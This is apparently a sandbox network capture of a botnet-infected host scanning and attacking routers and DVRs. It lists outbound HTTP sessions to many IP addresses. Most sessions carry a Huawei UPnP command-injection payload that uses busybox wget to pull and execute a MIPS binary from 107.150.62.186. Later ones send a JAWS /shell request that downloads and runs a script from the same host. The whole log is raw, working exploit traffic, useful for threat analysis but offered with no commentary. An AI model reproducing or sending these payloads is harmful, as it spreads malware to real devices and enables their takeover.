Jan 5, 2025 14:34:53.005464077 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	35762	197.112.77.190	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.007045984 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	45200	197.49.199.148	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.008789062 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	35934	197.169.104.42	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.010633945 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	47552	156.141.101.219	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.015060902 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	46538	156.229.176.50	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.017590046 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	44110	156.58.77.185	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.019299984 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	39302	41.56.98.126	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.021049023 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	38462	41.86.194.51	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.023027897 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.13	51950	156.139.201.209	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.024578094 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.13	38054	102.228.238.136	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.038954973 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.13	51812	169.129.160.250	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.040075064 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.13	40792	19.186.177.83	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.041034937 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.13	46086	160.116.38.154	80

Timestamp	Bytes transferred	Direction	Data
